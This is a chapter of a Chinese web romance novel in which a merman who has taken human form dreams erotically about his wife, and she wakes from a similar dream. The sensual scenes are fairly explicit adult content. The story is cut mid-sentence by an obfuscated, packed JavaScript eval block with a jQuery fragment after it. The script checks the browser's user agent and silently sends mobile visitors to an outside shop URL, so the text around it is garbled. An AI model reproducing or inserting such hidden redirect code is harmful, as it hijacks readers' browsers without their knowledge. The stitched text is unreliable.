就好像脱离了海水在沙漠中行走了数十天,鳞片全部干裂炸开,濒死之际面前出现了一片碧绿的湖。
梵癿忍不住吞咽,喉骨缓慢滑动,像是在忍辱负重,又像在克制着某种欲望。
对方的每一次呼吸都灼的他皮肤发疼,却又免不了想,如果彼此之间没有那些该死的布料阻隔就好了,他就能通过和妻子的接触品尝到味道。
他好饿。
她还这么毫无防备。
人鱼天生感官敏锐,即便没有看到,也能感觉到怀中的人类张开嘴,轻轻的咬住了他身上散落的冰块。
他听到冰块碰到牙齿发出的细微声响,紧接着是柔软的唇肉包裹住冰块的声音。
人类的口腔温度会比皮肤的还要高,那些冰凉坚硬的水凝物会融化出大量的水,被舌尖搅出湿黏的咕叽声,最后随着吞咽淌进身体里。
梵癿没有意识到,自己也在跟随妻子的频率吞咽。
他彻底被勾起了食欲,牙齿在嘴里变回了锯状齿,凶残的野性在一点点滋生。
现在这个距离,他只要一低头,就能咬穿眼前这白嫩的肩头,从她身上撕下一块肉来。
一定很嫩。
他不受控制的咬了咬牙,狩猎的欲望旺盛。
但这种食欲只存在了一瞬,就化作一股酸胀的燥意集中到小腹。
那白的晃眼的肩膀太纤薄了,娇嫩的皮肤比起锋利的啃咬,更适合用舌尖舔上去。
她总是这么的烫吗?
好烦。
好讨厌。
梵癿没由来的心烦意乱,燥意也越来越盛,快要失控时,怀里忽然一空。
“我好多了,谢谢你~”
月逢从他身上撑起来,看着被自己撩的耳朵通红的亡夫,笑着把嘴里只剩一点的冰块咬碎,手脚利落的下了床。
“才发现我刚才走错房间了,就不打扰你了哦,你早点休息吧,晚安^_^”
她是真没那么晕了,逗完了人就跑,走的时候没忘把空水杯拿走,还贴心的为他把门带上,自己去次卧睡了。
门一关,梵癿忽然像被拔掉发条的精致人偶一样倒回到床上,愣愣的抬起手摸了摸自己锁骨的位置,手臂上隐伏的青筋一条条凸了出来。
她刚才吃冰块的时候嘴唇碰到了这里。
.
夜色渐深,雨势也变弱了,房间里又归于平静,梵癿却睡得不太好。
他感觉自己身上一直残有妻子的体温,每一个被她触碰过的地方,至今仍有酥麻感。
只要一闭上眼睛,脑海里就会自动回放妻子靠在他怀里的模样。
算起来,这应该是他们第四次拥抱。
人类的体温依旧那么的让梵癿不适应,尤其是在他发现每次接触时那种过电的感觉越来越明显之后。
也许是中毒的次数太多了,症状才会越来越严重。
他直到睡着了眉头都一直拧着,还在告诫自己要离妻子远点,却在梦里又梦到了她。
梦中妻子还是睡着前见到的那副模样,像骄矜的黑猫刚化出的人形,美丽,懵懂,软呼呼的抱着自己,对自己毫不设防。
她根本不知道她身上的睡袍没有穿好,领口几乎遮不住什么,玉一般细腻雪白的皮肤展露无遗。
像一片新落上去的雪,让他很想在上面留下自己的痕迹。
黑色很衬她,她身上哪处都看着嫩生生的,两团浑圆自带弧度,从领口处饱满的显出来,跌到自己怀里来时还会晃。
梵癿想到了一种充满弹性的水生物,又想到了人类会制作的一种叫布丁的甜品,却比这些还要软嫩的多。
感觉要很小心很克制的对待,才能避免伤害到她。
他低头看了看自己的手,现在是人类的模样,指根没有薄如蝉翼的蹼相连,抚上去的话那些软肉估计会从指缝处溢出来。
他这么想着,梦里就这么做了。
妻子大概是热的太难受了,又或许是被他的力道弄疼了,樱绯色的唇张着,一直在喘气。
黛色的眉头也皱着,身体颤抖的厉害,让人分不清她到底是不舒服还是别的。
那气息轻的难以捕捉,像海鸟最底层的绒羽来回蹭过耳朵,但人鱼的听觉很好,梵癿每一次都能听清那暗藏在喘息里甜腻的令人口渴的哼吟。
热意染红了她的眼眶,令她比平日里多生出了别样的美,她的金眸像在下一场太阳雨,潮湿,黏腻,又水雾雾的泛着迷蒙。
带钩子似的。
好像很饿,需要自己献上一切来喂饱她。
梵癿被她用这样的眼神盯着,身上每一处异样的感觉都被放大了无数倍,偏偏她正骑在自己身上。
和晚上真实的场景不一样,梦里两人之间没有隔着睡袍和被子。
妻子好像没有察觉到他的变化,又好像发现了,调皮的抬起手指压在他的喉结上:“这里动的好快哦,是渴了吗?”
梵癿被她按住的地方又滚了滚,好像被她一碰,就确实渴的厉害。
他颇为诚实的点了点头,月逢又问:“那想喝水吗?”
声音是清甜的,语气是诱哄的,和伊甸园里骗人摘苹果的蛇一样。
梵癿喉间干涩,目光流连在她露出来的脖颈和锁骨上,那上面沾了一层水珠,看起来异常美味。
他没有回答妻子的问题,而是坐起身,将脸埋进妻子的颈窝里,一点一点的舔掉了她身上的水。
味道果然很好,像掺了蜜。
他的舌尖描摹过锁骨的形状,再往下,妻子难耐的抖了下,伸手勾着他的下巴把他脑袋托起来,不准再亲了。
“坏小狗。”
他听到妻子嗔怪,却没有真的推开他,而是低头,将柔软的唇瓣凑过来。
她不知道什么时候含的冰块,就这么喂进了梵癿嘴里。
后者尝到了冰凉的味道,还有甜丝丝的香味,舌尖不自觉的纠缠过来。
梦境愈发旖旎,人鱼的意识里掀起了一阵接着一阵的海浪,很快将他淹没。
他仿佛跟随着海浪游过无风带,回到了危险海域,暗藏的漩涡和汹涌的海啸迎接着此地的领主。
巨大的浪花拍打在岸边的礁石上,水花四下飞溅到最高点的那个瞬间,他猛的睁开眼。
愣住。
呼吸还没来得及平复,大脑仍然处在欢愉的空白当中。
空气里弥漫出一股类似青苹果的香味来。
梵癿怔愣了很久才起床,把弄脏的睡袍直接扔了。
还是无法相信自己梦到了什么。
怎么会这样。
他记得自己的发.情期至少在三个月之后。
难道是因为她的毒素导致提前了?
还是说是因为变成了人类身躯的缘故。
他格外困惑,也很讨厌这种不受控制的情况。
梵癿觉得自己现在迫切的需要一本人类行为手册指导,想起昨天的吩咐,扭头往床头柜上一看,上面空空的什么也没有。
“……”
啧,查理果然不靠谱。
.
月逢醒来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644516|206552||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时脸色潮红的不正常,雪白的双腿绞紧了会儿才松开,却没有坐起来,而是翻了个身把脸埋进枕头里,手握成拳锤了捶旁边的枕头。
无声的抓狂。
简直疯了,她怎么会做那种梦,梦到的还是自己的死鬼老公!
梦里更是过分的骑在人家身上又喘又蹭的,还喂他吃冰块了。
这叫什么??日有所思夜有所梦?
可问题是她也没有很思啊……
好吧,就一点点,那都是因为昨晚他抢我的床睡,还□□我!
她一个成年人,正是血气方刚的年纪,那经得住这种考验。
这么一想,做那种梦完全不是自己的问题。
月逢很快又把自己安抚好了,脸却依旧通红,因为睡袍有一处是湿的,床单也洇了一块,造成这一切的罪魁祸首却还在流淌。
她擦也擦不干,只能爬起来去洗澡。
这栋别墅建成的年代久远,格局没有现在设计的好,浴室一层只有一个,她开门的时候还有点心虚,确认外面没人在,才抱着衣服飞快的闪身进去。
里面有凉爽的水汽,好像才被人使用过。
窗帘是拉着的,她凑到缝隙边看了眼,雨已经停了,树叶上水珠未干,应该才停没多久。
今天没有太阳,天空阴沉沉的,看起来还会下雨。
洗澡的时候她注意到自己身上不知道是被冰块刺激到了,还是因为昨晚的梦,这会儿敏感的厉害。
碰不得,看来今天得穿材质柔软点的衣服了,不然容易磨红。
她换了一身轻飘飘的连衣裙,领口有荷叶边点缀,袖口也是,色彩是明黄和晴蓝交织,像初夏里清爽的早晨中,穿过晨雾飞来的一只绚丽的蝴蝶。
洗完澡下楼,月逢步伐轻快,裙摆一路飞过台阶,到了半途却突然停下来。
她一眼就看到了餐桌边坐着的那位,自己昨晚梦里的男主角,对方今天穿了件宽松的白T和浅灰色的长裤,是居家风的打扮,莫名有种人夫感。
他眼睛的位置仍然缠着白色的纱布,低头吃东西的样子安静冷淡,又透出一点禁欲的味道来。
总之和昨晚自己梦里那充满攻击性的模样不太一样。
“……”
月逢再不吃压力,也实在不太想现在就面对春.梦对象。
好歹得等自己把梦里的内容忘掉再说吧。
她悄无声息的转过身,想紧急避险撤回一个自己,还没往回退,餐桌边的男人就好像察觉到了她的存在,突然慢条斯理的起身。
“我吃好了。”他轻声说着,修长骨感的手指顺着餐桌摸索过去,拿起放在一旁的盲杖,轻点着地面往后面的花园走去。
外面的草地还是湿的,不过这个房子的后院有一条长走廊,这个季节爬满了紫藤花,在走廊的尽头有一个玻璃亭,里面也种满了花花草草,还有把藤编的躺椅,躺起来很舒适。
那个位置既能看到海,又不受天气影响。
月逢扒着楼梯弯腰探出头去,看到花园后面有一个戴着鸭舌帽穿着连体工装服的人在清理杂草,估计是裴家的园艺师,才放心的收回视线。
有人看着,裴家的大少爷应该出不了什么事。
不过不知道是不是错觉,她感觉亡夫今天对自己的态度有点冷淡,就好像是故意在避开自己一样。
但她今天安排了很多事,没时间琢磨这些,吃过早餐后就叫司机开车送自己下山。
她刚走,后院的那位园艺师就扔了手里的杂草,形迹可疑的朝玻璃亭走去。